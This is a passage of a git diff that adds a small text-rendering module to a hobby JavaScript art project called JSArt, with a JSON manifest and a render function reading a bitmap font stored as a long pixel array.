,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0];return data[Math.floor(sx)+(Math.floor(sy)*256)]; };return text; \ No newline at end of file diff --git a/files/jsart/modules/txt-small.json b/files/jsart/modules/txt-small.json new file mode 100644 index 0000000..9b4a8cb --- /dev/null +++ b/files/jsart/modules/txt-small.json @@ -0,0 +1 @@ +{"id":"txt-small","name":"Text engine v1.0.1 (small)","modded":false,"creator":"Ponali","desc":"An easy-to-use text engine for JSArt made by Ponali, but the text used is smaller (6x8) than the original.","details":{"version":"1.0.1","output":{"type":"func","name":"text","params":[{"name":"txt","desc":"Text (string): what text to put on the screen"},{"name":"ox","desc":"Offset X (number): the X position of the text to render."},{"name":"oy","desc":"Offset Y (number): the Y position of the text to render."},{"name":"al","desc":"Align (number): '0' means left, '1' means center, '2' means right. Not intended for numbers outside of 0-2."}]}}} \ No newline at end of file diff --git a/files/jsart/modules/txt-small.txt b/files/jsart/modules/txt-small.txt new file mode 100644 index 0000000..739d5fd --- /dev/null +++ b/files/jsart/modules/txt-small.txt @@ -0,0 +1 @@ +function text(txt,ox,oy,al){ ox+=(sw-(txt.length*8))/(2/al); let render = tx((((x-ox)%8)+Math.floor(((txt.charCodeAt((x-ox)/8)-32))*10)),Math.floor(((y-oy)/48)*192)); if(y>oy&&x>ox&&y<((24)+oy)&&x<((8*txt.length)+ox)){ return render; } else {return 0} } function tx(sx,sy){ let data = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,16777215,0,0,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,13619151,16777215,13619151,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,16777215,16777215,0,0,0,0,0,16777215,16777215,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,